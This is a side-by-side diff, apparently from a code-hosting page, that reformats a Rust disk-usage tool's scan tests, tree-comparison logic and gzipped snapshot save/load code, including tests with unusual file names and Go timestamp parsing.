for f in [FollowMode::None, FollowMode::SameFs, FollowMode::All] { for f in [FollowMode::None, FollowMode::SameFs, FollowMode::All] {
let t = run_scan(&root.0, Options { workers: 4, follow: f, ..Default::default() }); let t = run_scan(
&root.0,
Options {
workers: 4,
follow: f,
..Default::default()
},
);
let r = t.node(0); let r = t.node(0);
assert!(r.files > 0 && r.tot_size > 5000, "{f:?}"); assert!(r.files > 0 && r.tot_size > 5000, "{f:?}");
assert_eq!(t.stats.broken_links, 1); assert_eq!(t.stats.broken_links, 1);
assert!(f == FollowMode::None || t.stats.loops_skipped > 0); assert!(f == FollowMode::None || t.stats.loops_skipped > 0);
let count = (0..t.len() as NodeId).filter(|&i| &*t.node(i).name == b"x").count(); let count = (0..t.len() as NodeId)
.filter(|&i| &*t.node(i).name == b"x")
.count();
assert_eq!(count, 1, "{f:?}"); assert_eq!(count, 1, "{f:?}");
} }
} }
@@ -713,7 +852,13 @@ pub(crate) mod tests {
std::fs::write(&p, vec![0u8; 100000]).unwrap(); std::fs::write(&p, vec![0u8; 100000]).unwrap();
std::fs::create_dir(root.0.join("d")).unwrap(); std::fs::create_dir(root.0.join("d")).unwrap();
std::fs::hard_link(&p, root.0.join("d/link")).unwrap(); std::fs::hard_link(&p, root.0.join("d/link")).unwrap();
let t = run_scan(&root.0, Options { workers: 2, ..Default::default() }); let t = run_scan(
&root.0,
Options {
workers: 2,
..Default::default()
},
);
assert_eq!(t.stats.hardlink_dups, 1); assert_eq!(t.stats.hardlink_dups, 1);
assert!(t.node(0).tot_size < 200000); assert!(t.node(0).tot_size < 200000);
} }
@@ -729,7 +874,13 @@ pub(crate) mod tests {
std::fs::create_dir(&locked).unwrap(); std::fs::create_dir(&locked).unwrap();
std::fs::write(locked.join("f"), b"x").unwrap(); std::fs::write(locked.join("f"), b"x").unwrap();
std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0)).unwrap(); std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0)).unwrap();
let t = run_scan(&root.0, Options { workers: 2, ..Default::default() }); let t = run_scan(
&root.0,
Options {
workers: 2,
..Default::default()
},
);
std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0o755)).unwrap(); std::fs::set_permissions(&locked, std::fs::Permissions::from_mode(0o755)).unwrap();
assert_eq!(t.stats.err_counts[inv::ErrKind::Permission as usize], 1); assert_eq!(t.stats.err_counts[inv::ErrKind::Permission as usize], 1);
assert!(t.stats.incomplete()); assert!(t.stats.incomplete());
@@ -745,18 +896,38 @@ pub(crate) mod tests {
std::fs::write(root.0.join("keep/b.txt"), b"x").unwrap(); std::fs::write(root.0.join("keep/b.txt"), b"x").unwrap();
std::fs::write(root.0.join("skip/c.txt"), b"x").unwrap(); std::fs::write(root.0.join("skip/c.txt"), b"x").unwrap();
let skip = root.0.join("skip").to_string_lossy().into_owned(); let skip = root.0.join("skip").to_string_lossy().into_owned();
let t = run_scan(&root.0, Options { workers: 2, excludes: vec!["*.tmp".into(), skip], ..Default::default() }); let t = run_scan(
&root.0,
Options {
workers: 2,
excludes: vec!["*.tmp".into(), skip],
..Default::default()
},
);
assert_eq!((t.stats.excluded, t.node(0).files), (2, 1)); assert_eq!((t.stats.excluded, t.node(0).files), (2, 1));
} }
#[test] #[test]
fn hostile_names_preserved() { fn hostile_names_preserved() {
let root = TempDir::new("names"); let root = TempDir::new("names");
let names: [&[u8]; 6] = ["日本語.txt".as_bytes(), "emoji-🎉.png".as_bytes(), b"esc\x1b[31mred", b"nl\nname", b"sp ace", b"bad\xffutf8"]; let names: [&[u8]; 6] = [
"日本語.txt".as_bytes(),
"emoji-🎉.png".as_bytes(),
b"esc\x1b[31mred",
b"nl\nname",
b"sp ace",
b"bad\xffutf8",
];
for n in names { for n in names {
std::fs::write(root.0.join(std::ffi::OsStr::from_bytes(n)), b"x").unwrap(); std::fs::write(root.0.join(std::ffi::OsStr::from_bytes(n)), b"x").unwrap();
} }
let t = run_scan(&root.0, Options { workers: 2, ..Default::default() }); let t = run_scan(
&root.0,
Options {
workers: 2,
..Default::default()
},
);
let got: HashSet<&[u8]> = t.children(0).map(|(_, n)| &*n.name).collect(); let got: HashSet<&[u8]> = t.children(0).map(|(_, n)| &*n.name).collect();
for n in names { for n in names {
assert!(got.contains(n), "missing {n:?}"); assert!(got.contains(n), "missing {n:?}");
+26 -5
View File
@@ -28,7 +28,8 @@ pub fn compare(old: Tree, new: &Tree) -> Diff {
if !old.node(o).is_dir() || !new.node(n).is_dir() { if !old.node(o).is_dir() || !new.node(n).is_dir() {
continue; continue;
} }
let mut by_name: HashMap<&[u8], NodeId> = old.children(o).map(|(id, c)| (&c.name[..], id)).collect(); let mut by_name: HashMap<&[u8], NodeId> =
old.children(o).map(|(id, c)| (&c.name[..], id)).collect();
for (id, c) in new.children(n) { for (id, c) in new.children(n) {
if let Some(oid) = by_name.remove(&c.name[..]) { if let Some(oid) = by_name.remove(&c.name[..]) {
stack.push((oid, id)); stack.push((oid, id));
@@ -43,7 +44,12 @@ pub fn compare(old: Tree, new: &Tree) -> Diff {
} }
} }
removed.sort_unstable(); removed.sort_unstable();
Diff { old, old_of, removed, removed_under } Diff {
old,
old_of,
removed,
removed_under,
}
} }
/// Classifies a node. /// Classifies a node.
@@ -115,7 +121,10 @@ impl Diff {
continue; continue;
} }
let n = new.node(id); let n = new.node(id);
if self.old_of[id as usize] != NO_NODE && n.is_dir() && self.explained_by_child(new, id, delta, m) { if self.old_of[id as usize] != NO_NODE
&& n.is_dir()
&& self.explained_by_child(new, id, delta, m)
{
continue; continue;
} }
if n.parent != NO_NODE && self.old_of[n.parent as usize] == NO_NODE { if n.parent != NO_NODE && self.old_of[n.parent as usize] == NO_NODE {
@@ -132,9 +141,21 @@ impl Diff {
} }
for &oid in &self.removed { for &oid in &self.removed {
let o = self.old.node(oid).total(m); let o = self.old.node(oid).total(m);
out.push(Change { path: self.old.path_string(oid), status: Status::Removed, delta: -o, old: o, new: 0, node: NO_NODE }); out.push(Change {
path: self.old.path_string(oid),
status: Status::Removed,
delta: -o,
old: o,
new: 0,
node: NO_NODE,
});
} }
out.sort_by(|a, b| b.delta.unsigned_abs().cmp(&a.delta.unsigned_abs()).then_with(|| a.path.cmp(&b.path))); out.sort_by(|a, b| {
b.delta
.unsigned_abs()
.cmp(&a.delta.unsigned_abs())
.then_with(|| a.path.cmp(&b.path))
});
if k > 0 { if k > 0 {
out.truncate(k); out.truncate(k);
} }
+292 -67
View File
@@ -31,7 +31,9 @@ mod compare;
pub use compare::*; pub use compare::*;
use crate::brand; use crate::brand;
use crate::inventory::{Category, ErrKind, ErrorRecord, Kind, NodeId, Tree, MAX_ERROR_RECORDS, NUM_CATEGORIES}; use crate::inventory::{
Category, ErrKind, ErrorRecord, Kind, NodeId, Tree, MAX_ERROR_RECORDS, NUM_CATEGORIES,
};
use crossbeam_channel::Receiver; use crossbeam_channel::Receiver;
use flate2::{bufread::GzDecoder, write::GzEncoder, Compression}; use flate2::{bufread::GzDecoder, write::GzEncoder, Compression};
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
@@ -91,7 +93,10 @@ struct Meta {
/// Reports whether path starts with the snapshot magic. /// Reports whether path starts with the snapshot magic.
pub fn is_snapshot(path: &Path) -> bool { pub fn is_snapshot(path: &Path) -> bool {
let mut b = [0u8; 8]; let mut b = [0u8; 8];
File::open(path).and_then(|mut f| f.read_exact(&mut b)).is_ok() && &b == brand::SNAPSHOT_MAGIC File::open(path)
.and_then(|mut f| f.read_exact(&mut b))
.is_ok()
&& &b == brand::SNAPSHOT_MAGIC
} }
/// Accumulates the body; flushes it through the hash and gzip in chunks. /// Accumulates the body; flushes it through the hash and gzip in chunks.
@@ -140,14 +145,21 @@ pub fn save(out: &mut dyn Write, t: &Tree) -> io::Result<()> {
bw.write_all(brand::SNAPSHOT_MAGIC)?; bw.write_all(brand::SNAPSHOT_MAGIC)?;
bw.write_all(&VERSION.to_le_bytes())?; bw.write_all(&VERSION.to_le_bytes())?;
bw.write_all(&FLAG_GZIPPED.to_le_bytes())?; bw.write_all(&FLAG_GZIPPED.to_le_bytes())?;
let mut w = Writer { gz: GzEncoder::new(bw, Compression::fast()), h: Sha256::new(), buf: Vec::with_capacity(256 << 10) }; let mut w = Writer {
gz: GzEncoder::new(bw, Compression::fast()),
h: Sha256::new(),
buf: Vec::with_capacity(256 << 10),
};
let st = &t.stats; let st = &t.stats;
let m = Meta { let m = Meta {
root: String::from_utf8_lossy(&st.root).into_owned(), root: String::from_utf8_lossy(&st.root).into_owned(),
created: GoTime::from_system(SystemTime::now()), created: GoTime::from_system(SystemTime::now()),
start: GoTime::from_system(st.start).local(), start: GoTime::from_system(st.start).local(),
end: st.end.map(|e| GoTime::from_system(e).local()).unwrap_or_default(), end: st
.end
.map(|e| GoTime::from_system(e).local())
.unwrap_or_default(),
complete: st.complete, complete: st.complete,
cancelled: st.cancelled, cancelled: st.cancelled,
files: st.files, files: st.files,
@@ -223,16 +235,31 @@ pub fn save_file(path: &Path, t: &Tree) -> io::Result<()> {
/// Creates a new 0600 file named .mapsize-*.tmp in dir (like os.CreateTemp). /// Creates a new 0600 file named .mapsize-*.tmp in dir (like os.CreateTemp).
fn create_temp(dir: &Path) -> io::Result<(PathBuf, File)> { fn create_temp(dir: &Path) -> io::Result<(PathBuf, File)> {
let seed = SystemTime::now().duration_since(UNIX_EPOCH).unwrap_or_default().subsec_nanos() ^ std::process::id(); let seed = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.subsec_nanos()
^ std::process::id();
for i in 0..10000u32 { for i in 0..10000u32 {
let p = dir.join(format!(".mapsize-{}.tmp", seed.wrapping_add(i.wrapping_mul(7919)))); let p = dir.join(format!(
match OpenOptions::new().write(true).create_new(true).mode(0o600).open(&p) { ".mapsize-{}.tmp",
seed.wrapping_add(i.wrapping_mul(7919))
));
match OpenOptions::new()
.write(true)
.create_new(true)
.mode(0o600)
.open(&p)
{
Ok(f) => return Ok((p, f)), Ok(f) => return Ok((p, f)),
Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue,
Err(e) => return Err(e), Err(e) => return Err(e),
} }
} }
Err(io::Error::new(io::ErrorKind::AlreadyExists, "snapshot: cannot create temporary file")) Err(io::Error::new(
io::ErrorKind::AlreadyExists,
"snapshot: cannot create temporary file",
))
} }
fn hostname() -> String { fn hostname() -> String {
@@ -257,7 +284,12 @@ const UNEXPECTED_EOF: &str = "unexpected EOF";
impl Body { impl Body {
fn new(rx: Receiver<Result<Vec<u8>, String>>) -> Body { fn new(rx: Receiver<Result<Vec<u8>, String>>) -> Body {
Body { rx, buf: Vec::new(), pos: 0, err: None } Body {
rx,
buf: Vec::new(),
pos: 0,
err: None,
}
} }
/// Ensures unread bytes are buffered; false at end of stream. /// Ensures unread bytes are buffered; false at end of stream.
@@ -320,7 +352,8 @@ impl Body {
fn bytes_n(&mut self, n: u64) -> Result<Vec<u8>, String> { fn bytes_n(&mut self, n: u64) -> Result<Vec<u8>, String> {
let mut b = vec![0u8; n as usize]; let mut b = vec![0u8; n as usize];
self.read_full(&mut b).map_err(|e| format!("snapshot: truncated: {e}"))?; self.read_full(&mut b)
.map_err(|e| format!("snapshot: truncated: {e}"))?;
Ok(b) Ok(b)
} }
@@ -391,13 +424,16 @@ pub fn load_file(path: &Path) -> Result<Tree, crate::Error> {
fn load_inner(input: impl Read, max_body: i64, max_nodes: u64) -> Result<Tree, String> { fn load_inner(input: impl Read, max_body: i64, max_nodes: u64) -> Result<Tree, String> {
let mut br = BufReader::with_capacity(1 << 20, input); let mut br = BufReader::with_capacity(1 << 20, input);
let mut hdr = [0u8; 12]; let mut hdr = [0u8; 12];
br.read_exact(&mut hdr).map_err(|_| "snapshot: file too short".to_string())?; br.read_exact(&mut hdr)
.map_err(|_| "snapshot: file too short".to_string())?;
if &hdr[..8] != brand::SNAPSHOT_MAGIC { if &hdr[..8] != brand::SNAPSHOT_MAGIC {
return Err(format!("snapshot: not a {} snapshot", brand::NAME)); return Err(format!("snapshot: not a {} snapshot", brand::NAME));
} }
let v = u16::from_le_bytes([hdr[8], hdr[9]]); let v = u16::from_le_bytes([hdr[8], hdr[9]]);
if v != VERSION { if v != VERSION {
return Err(format!("snapshot: unsupported version {v} (this build reads {VERSION})")); return Err(format!(
"snapshot: unsupported version {v} (this build reads {VERSION})"
));
} }
if u16::from_le_bytes([hdr[10], hdr[11]]) & FLAG_GZIPPED == 0 { if u16::from_le_bytes([hdr[10], hdr[11]]) & FLAG_GZIPPED == 0 {
return Err("snapshot: uncompressed bodies are not supported".into()); return Err("snapshot: uncompressed bodies are not supported".into());
@@ -436,13 +472,16 @@ fn load_inner(input: impl Read, max_body: i64, max_nodes: u64) -> Result<Tree, S
} }
} }
drop(tx); drop(tx);
parser.join().unwrap_or_else(|p| std::panic::resume_unwind(p)) parser
.join()
.unwrap_or_else(|p| std::panic::resume_unwind(p))
}) })
}; };
let (mut t, m) = res?; let (mut t, m) = res?;
// The checksum follows the gzip stream. // The checksum follows the gzip stream.
let mut sum = [0u8; 32]; let mut sum = [0u8; 32];
br.read_exact(&mut sum).map_err(|_| "snapshot: missing checksum".to_string())?; br.read_exact(&mut sum)
.map_err(|_| "snapshot: missing checksum".to_string())?;
if sum[..] != h.finalize()[..] { if sum[..] != h.finalize()[..] {
return Err("snapshot: checksum mismatch (file corrupt)".into()); return Err("snapshot: checksum mismatch (file corrupt)".into());
} }
@@ -454,17 +493,36 @@ fn load_inner(input: impl Read, max_body: i64, max_nodes: u64) -> Result<Tree, S
st.complete = true; st.complete = true;
st.cancelled = m.cancelled; st.cancelled = m.cancelled;
(st.files, st.dirs, st.symlinks, st.others) = (m.files, m.dirs, m.symlinks, m.others); (st.files, st.dirs, st.symlinks, st.others) = (m.files, m.dirs, m.symlinks, m.others);
for (d, s) in st.err_counts.iter_mut().zip(m.err_counts.unwrap_or_default()) { for (d, s) in st
.err_counts
.iter_mut()
.zip(m.err_counts.unwrap_or_default())
{
*d = s; *d = s;
} }
(st.excluded, st.skipped_mounts, st.virtual_skipped) = (m.excluded, m.skipped_mounts, m.virtual_skipped); (st.excluded, st.skipped_mounts, st.virtual_skipped) =
(st.loops_skipped, st.broken_links, st.hardlink_dups, st.unscanned) = (m.excluded, m.skipped_mounts, m.virtual_skipped);
(m.loops_skipped, m.broken_links, m.hardlink_dups, m.unscanned); (
st.loops_skipped,
st.broken_links,
st.hardlink_dups,
st.unscanned,
) = (
m.loops_skipped,
m.broken_links,
m.hardlink_dups,
m.unscanned,
);
st.excludes = m.excludes.unwrap_or_default(); st.excludes = m.excludes.unwrap_or_default();
st.one_file_system = m.one_file_system; st.one_file_system = m.one_file_system;
st.follow = m.follow; st.follow = m.follow;
st.workers = m.workers.max(0) as usize; st.workers = m.workers.max(0) as usize;
st.from_snapshot = format!("{} ({}, {})", m.created.local_minutes(), m.host, m.generator); st.from_snapshot = format!(
"{} ({}, {})",
m.created.local_minutes(),
m.host,
m.generator
);
Ok(t) Ok(t)
} }
@@ -519,11 +577,16 @@ fn parse(r: &mut Body, max_nodes: u64) -> Result<(Tree, Meta), String> {
return Err(format!("snapshot: node {i}: parent is not a directory")); return Err(format!("snapshot: node {i}: parent is not a directory"));
} }
if !valid_name(&name) { if !valid_name(&name) {
return Err(format!("snapshot: node {i}: invalid name {:?}", String::from_utf8_lossy(&name))); return Err(format!(
"snapshot: node {i}: invalid name {:?}",
String::from_utf8_lossy(&name)
));
} }
let d = depth[parent as usize] + 1; let d = depth[parent as usize] + 1;
if d > MAX_DEPTH { if d > MAX_DEPTH {
return Err(format!("snapshot: node {i}: deeper than {MAX_DEPTH} levels")); return Err(format!(
"snapshot: node {i}: deeper than {MAX_DEPTH} levels"
));
} }
depth.push(d); depth.push(d);
t.add(parent, &name, kind) t.add(parent, &name, kind)
@@ -544,7 +607,12 @@ fn parse(r: &mut Body, max_nodes: u64) -> Result<(Tree, Meta), String> {
let kind = ErrKind::from_u8(r.byte1()?); // out-of-range kinds become Other let kind = ErrKind::from_u8(r.byte1()?); // out-of-range kinds become Other
let name = r.str(MAX_NAME_LEN, "error name")?; let name = r.str(MAX_NAME_LEN, "error name")?;
let msg = String::from_utf8_lossy(&r.str(MAX_MSG_LEN, "error message")?).into_owned(); let msg = String::from_utf8_lossy(&r.str(MAX_MSG_LEN, "error message")?).into_owned();
t.stats.errors.push(ErrorRecord { node, kind, name, msg }); t.stats.errors.push(ErrorRecord {
node,
kind,
name,
msg,
});
} }
// The body must end here. // The body must end here.
if r.byte() != Err(EOF.into()) { if r.byte() != Err(EOF.into()) {
@@ -571,19 +639,35 @@ const GO_ZERO_SECS: i64 = -62_135_596_800;
impl Default for GoTime { impl Default for GoTime {
fn default() -> Self { fn default() -> Self {
GoTime { secs: GO_ZERO_SECS, nanos: 0, off: 0 } GoTime {
secs: GO_ZERO_SECS,
nanos: 0,
off: 0,
}
} }
} }
impl GoTime { impl GoTime {
fn from_system(t: SystemTime) -> GoTime { fn from_system(t: SystemTime) -> GoTime {
match t.duration_since(UNIX_EPOCH) { match t.duration_since(UNIX_EPOCH) {
Ok(d) => GoTime { secs: d.as_secs() as i64, nanos: d.subsec_nanos(), off: 0 }, Ok(d) => GoTime {
secs: d.as_secs() as i64,
nanos: d.subsec_nanos(),
off: 0,
},
Err(e) => { Err(e) => {
let d = e.duration(); let d = e.duration();
let (s, n) = (d.as_secs() as i64, d.subsec_nanos()); let (s, n) = (d.as_secs() as i64, d.subsec_nanos());
let (secs, nanos) = if n == 0 { (-s, 0) } else { (-s - 1, 1_000_000_000 - n) }; let (secs, nanos) = if n == 0 {
GoTime { secs, nanos, off: 0 } (-s, 0)
} else {
(-s - 1, 1_000_000_000 - n)
};
GoTime {
secs,
nanos,
off: 0,
}
} }
} }
} }
@@ -602,7 +686,8 @@ impl GoTime {
if self.secs >= 0 { if self.secs >= 0 {
UNIX_EPOCH + Duration::new(self.secs as u64, self.nanos) UNIX_EPOCH + Duration::new(self.secs as u64, self.nanos)
} else { } else {
UNIX_EPOCH - Duration::from_secs(self.secs.unsigned_abs()) + Duration::from_nanos(self.nanos as u64) UNIX_EPOCH - Duration::from_secs(self.secs.unsigned_abs())
+ Duration::from_nanos(self.nanos as u64)
} }
} }
@@ -611,7 +696,12 @@ impl GoTime {
let secs = self.secs + self.off as i64; let secs = self.secs + self.off as i64;
let (y, mo, d) = civil_from_days(secs.div_euclid(86400)); let (y, mo, d) = civil_from_days(secs.div_euclid(86400));
let rem = secs.rem_euclid(86400); let rem = secs.rem_euclid(86400);
let mut s = format!("{y:04}-{mo:02}-{d:02}T{:02}:{:02}:{:02}", rem / 3600, rem / 60 % 60, rem % 60); let mut s = format!(
"{y:04}-{mo:02}-{d:02}T{:02}:{:02}:{:02}",
rem / 3600,
rem / 60 % 60,
rem % 60
);
if self.nanos != 0 { if self.nanos != 0 {
s += format!(".{:09}", self.nanos).trim_end_matches('0'); s += format!(".{:09}", self.nanos).trim_end_matches('0');
} }
@@ -619,7 +709,12 @@ impl GoTime {
return s + "Z"; return s + "Z";
} }
let a = self.off.unsigned_abs() / 60; let a = self.off.unsigned_abs() / 60;
format!("{s}{}{:02}:{:02}", if self.off < 0 { '-' } else { '+' }, a / 60, a % 60) format!(
"{s}{}{:02}:{:02}",
if self.off < 0 { '-' } else { '+' },
a / 60,
a % 60
)
} }
/// Parses RFC 3339 ("2026-10-08T10:40:00.123456789+01:00"). /// Parses RFC 3339 ("2026-10-08T10:40:00.123456789+01:00").
@@ -627,12 +722,27 @@ impl GoTime {
let b = s.as_bytes(); let b = s.as_bytes();
let num = |r: std::ops::Range<usize>| -> Option<i64> { let num = |r: std::ops::Range<usize>| -> Option<i64> {
let p = b.get(r)?; let p = b.get(r)?;
p.iter().all(u8::is_ascii_digit).then(|| p.iter().fold(0i64, |a, &c| a * 10 + (c - b'0') as i64)) p.iter()
.all(u8::is_ascii_digit)
.then(|| p.iter().fold(0i64, |a, &c| a * 10 + (c - b'0') as i64))
}; };
if b.len() < 20 || b[4] != b'-' || b[7] != b'-' || b[10] != b'T' || b[13] != b':' || b[16] != b':' { if b.len() < 20
|| b[4] != b'-'
|| b[7] != b'-'
|| b[10] != b'T'
|| b[13] != b':'
|| b[16] != b':'
{
return None; return None;
} }
let (y, mo, d, h, mi, se) = (num(0..4)?, num(5..7)?, num(8..10)?, num(11..13)?, num(14..16)?, num(17..19)?); let (y, mo, d, h, mi, se) = (
num(0..4)?,
num(5..7)?,
num(8..10)?,
num(11..13)?,
num(14..16)?,
num(17..19)?,
);
if !(1..=12).contains(&mo) || !(1..=31).contains(&d) || h > 23 || mi > 59 || se > 59 { if !(1..=12).contains(&mo) || !(1..=31).contains(&d) || h > 23 || mi > 59 || se > 59 {
return None; return None;
} }
@@ -666,13 +776,26 @@ impl GoTime {
_ => return None, _ => return None,
}; };
let secs = days_from_civil(y, mo, d) * 86400 + h * 3600 + mi * 60 + se - off; let secs = days_from_civil(y, mo, d) * 86400 + h * 3600 + mi * 60 + se - off;
Some(GoTime { secs, nanos, off: off as i32 }) Some(GoTime {
secs,
nanos,
off: off as i32,
})
} }
/// "2006-01-02 15:04" in local time. /// "2006-01-02 15:04" in local time.
fn local_minutes(self) -> String { fn local_minutes(self) -> String {
let Some(tm) = localtime(self.secs) else { return self.format() }; let Some(tm) = localtime(self.secs) else {
format!("{:04}-{:02}-{:02} {:02}:{:02}", tm.tm_year as i64 + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min) return self.format();
};
format!(
"{:04}-{:02}-{:02} {:02}:{:02}",
tm.tm_year as i64 + 1900,
tm.tm_mon + 1,
tm.tm_mday,
tm.tm_hour,
tm.tm_min
)
} }
} }
@@ -693,7 +816,8 @@ impl<'de> Deserialize<'de> for GoTime {
// null leaves the zero time, as in Go. // null leaves the zero time, as in Go.
match Option::<String>::deserialize(d)? { match Option::<String>::deserialize(d)? {
None => Ok(GoTime::default()), None => Ok(GoTime::default()),
Some(s) => GoTime::parse(&s).ok_or_else(|| serde::de::Error::custom(format!("parsing time {s:?}"))), Some(s) => GoTime::parse(&s)
.ok_or_else(|| serde::de::Error::custom(format!("parsing time {s:?}"))),
} }
} }
} }
@@ -737,7 +861,12 @@ mod tests {
t.node_mut(f2).flags = FLAG_SPARSE; t.node_mut(f2).flags = FLAG_SPARSE;
t.recompute(); t.recompute();
(t.stats.files, t.stats.dirs) = (2, 3); (t.stats.files, t.stats.dirs) = (2, 3);
t.stats.add_error(ErrorRecord { node: b, kind: ErrKind::Permission, msg: "denied".into(), ..Default::default() }); t.stats.add_error(ErrorRecord {
node: b,
kind: ErrKind::Permission,
msg: "denied".into(),
..Default::default()
});
t t
} }
@@ -755,8 +884,12 @@ mod tests {
for i in 0..src.len() as NodeId { for i in 0..src.len() as NodeId {
let (a, b) = (src.node(i), got.node(i)); let (a, b) = (src.node(i), got.node(i));
assert!( assert!(
a.name == b.name && a.tot_size == b.tot_size && a.tot_alloc == b.tot_alloc && a.flags == b.flags a.name == b.name
&& src.path(i) == got.path(i) && src.ext_name(a) == got.ext_name(b), && a.tot_size == b.tot_size
&& a.tot_alloc == b.tot_alloc
&& a.flags == b.flags
&& src.path(i) == got.path(i)
&& src.ext_name(a) == got.ext_name(b),
"node {i} differs: {a:?} vs {b:?}" "node {i} differs: {a:?} vs {b:?}"
); );
} }
@@ -802,8 +935,14 @@ mod tests {
assert_eq!(paths.get("/srv/a/x.iso"), Some(&Status::Grew), "{ch:?}"); assert_eq!(paths.get("/srv/a/x.iso"), Some(&Status::Grew), "{ch:?}");
assert_eq!(paths.get("/srv/b"), Some(&Status::Removed), "{ch:?}"); assert_eq!(paths.get("/srv/b"), Some(&Status::Removed), "{ch:?}");
assert_eq!(paths.get("/srv/c"), Some(&Status::Added), "{ch:?}"); assert_eq!(paths.get("/srv/c"), Some(&Status::Added), "{ch:?}");
assert!(!paths.contains_key("/srv/a"), "/srv/a should be explained by its child"); assert!(
assert!(!paths.contains_key("/srv/c/z"), "contents of new dirs should not be listed separately"); !paths.contains_key("/srv/a"),
"/srv/a should be explained by its child"
);
assert!(
!paths.contains_key("/srv/c/z"),
"contents of new dirs should not be listed separately"
);
} }
fn body(b: &[u8]) -> Body { fn body(b: &[u8]) -> Body {
@@ -813,7 +952,11 @@ mod tests {
} }
fn put_uvarint(v: u64) -> Vec<u8> { fn put_uvarint(v: u64) -> Vec<u8> {
let mut w = Writer { gz: GzEncoder::new(Vec::new(), Compression::fast()), h: Sha256::new(), buf: Vec::new() }; let mut w = Writer {
gz: GzEncoder::new(Vec::new(), Compression::fast()),
h: Sha256::new(),
buf: Vec::new(),
};
w.uvarint(v).unwrap(); w.uvarint(v).unwrap();
w.buf w.buf
} }
@@ -824,7 +967,10 @@ mod tests {
assert_eq!(read_uvarint(&mut body(&put_uvarint(v))), Ok(v)); assert_eq!(read_uvarint(&mut body(&put_uvarint(v))), Ok(v));
} }
assert_eq!(put_uvarint(300), [0xac, 0x02]); assert_eq!(put_uvarint(300), [0xac, 0x02]);
assert!(read_uvarint(&mut body(&[0xff; 11])).is_err(), "overflow not detected"); assert!(
read_uvarint(&mut body(&[0xff; 11])).is_err(),
"overflow not detected"
);
// Zig-zag as Go's PutVarint. // Zig-zag as Go's PutVarint.
for (v, enc) in [(0i64, 0u64), (-1, 1), (1, 2), (-2, 3), (i64::MIN, u64::MAX)] { for (v, enc) in [(0i64, 0u64), (-1, 1), (1, 2), (-2, 3), (i64::MIN, u64::MAX)] {
assert_eq!(((v << 1) ^ (v >> 63)) as u64, enc); assert_eq!(((v << 1) ^ (v >> 63)) as u64, enc);
@@ -837,13 +983,38 @@ mod tests {
let t = GoTime::parse("2026-10-08T10:40:00.123456789+01:00").unwrap(); let t = GoTime::parse("2026-10-08T10:40:00.123456789+01:00").unwrap();
assert_eq!((t.secs, t.nanos, t.off), (1_791_452_400, 123_456_789, 3600)); assert_eq!((t.secs, t.nanos, t.off), (1_791_452_400, 123_456_789, 3600));
assert_eq!(t.format(), "2026-10-08T10:40:00.123456789+01:00"); assert_eq!(t.format(), "2026-10-08T10:40:00.123456789+01:00");
assert_eq!(GoTime { off: 0, ..t }.format(), "2026-10-08T09:40:00.123456789Z"); assert_eq!(
assert_eq!(GoTime { off: -5 * 3600 - 1800, ..t }.format(), "2026-10-08T04:10:00.123456789-05:30"); GoTime { off: 0, ..t }.format(),
assert_eq!(GoTime::parse("2026-10-08T09:40:00.1Z").unwrap().format(), "2026-10-08T09:40:00.1Z"); "2026-10-08T09:40:00.123456789Z"
assert_eq!(GoTime::parse("0001-01-01T00:00:00Z"), Some(GoTime::default())); );
assert_eq!(
GoTime {
off: -5 * 3600 - 1800,
..t
}
.format(),
"2026-10-08T04:10:00.123456789-05:30"
);
assert_eq!(
GoTime::parse("2026-10-08T09:40:00.1Z").unwrap().format(),
"2026-10-08T09:40:00.1Z"
);
assert_eq!(
GoTime::parse("0001-01-01T00:00:00Z"),
Some(GoTime::default())
);
assert_eq!(GoTime::default().format(), "0001-01-01T00:00:00Z"); assert_eq!(GoTime::default().format(), "0001-01-01T00:00:00Z");
assert_eq!(GoTime::from_system(GoTime::default().to_system()), GoTime::default()); assert_eq!(
for bad in ["", "2026-10-08", "2026-13-08T00:00:00Z", "2026-10-08T00:00:00", "2026-10-08T00:00:00.Z"] { GoTime::from_system(GoTime::default().to_system()),
GoTime::default()
);
for bad in [
"",
"2026-10-08",
"2026-13-08T00:00:00Z",
"2026-10-08T00:00:00",
"2026-10-08T00:00:00.Z",
] {
assert_eq!(GoTime::parse(bad), None, "{bad}"); assert_eq!(GoTime::parse(bad), None, "{bad}");
} }
} }
@@ -852,21 +1023,34 @@ mod tests {
/// (tree/{a/x.iso 10000 B, a/b/note.txt, c/y.log 3000 B, c/link -> ../a}). /// (tree/{a/x.iso 10000 B, a/b/note.txt, c/y.log 3000 B, c/link -> ../a}).
#[test] #[test]
fn loads_go_snapshot() { fn loads_go_snapshot() {
let t = load_file(Path::new(concat!(env!("CARGO_MANIFEST_DIR"), "/src/snapshot/testdata/go.msz"))).unwrap(); let t = load_file(Path::new(concat!(
env!("CARGO_MANIFEST_DIR"),
"/src/snapshot/testdata/go.msz"
)))
.unwrap();
let r = t.node(0); let r = t.node(0);
assert_eq!((r.tot_size, r.tot_alloc), (13310, 20480)); assert_eq!((r.tot_size, r.tot_alloc), (13310, 20480));
assert_eq!((t.stats.files, t.stats.dirs, t.stats.symlinks), (3, 4, 1)); assert_eq!((t.stats.files, t.stats.dirs, t.stats.symlinks), (3, 4, 1));
assert_eq!(t.len(), 8); assert_eq!(t.len(), 8);
assert!(t.stats.root.ends_with(b"/tree")); assert!(t.stats.root.ends_with(b"/tree"));
assert!(t.stats.end.is_some() && t.stats.complete); assert!(t.stats.end.is_some() && t.stats.complete);
assert!(t.stats.from_snapshot.contains("mapsize"), "{}", t.stats.from_snapshot); assert!(
let iso = (0..t.len() as NodeId).find(|&i| &t.node(i).name[..] == b"x.iso").unwrap(); t.stats.from_snapshot.contains("mapsize"),
"{}",
t.stats.from_snapshot
);
let iso = (0..t.len() as NodeId)
.find(|&i| &t.node(i).name[..] == b"x.iso")
.unwrap();
assert_eq!(t.node(iso).size, 10000); assert_eq!(t.node(iso).size, 10000);
assert_eq!(t.ext_name(t.node(iso)), "iso"); assert_eq!(t.ext_name(t.node(iso)), "iso");
assert!(t.path_string(iso).ends_with("/tree/a/x.iso")); assert!(t.path_string(iso).ends_with("/tree/a/x.iso"));
// And it survives a Rust round trip unchanged. // And it survives a Rust round trip unchanged.
let again = load(&saved(&t)[..]).unwrap(); let again = load(&saved(&t)[..]).unwrap();
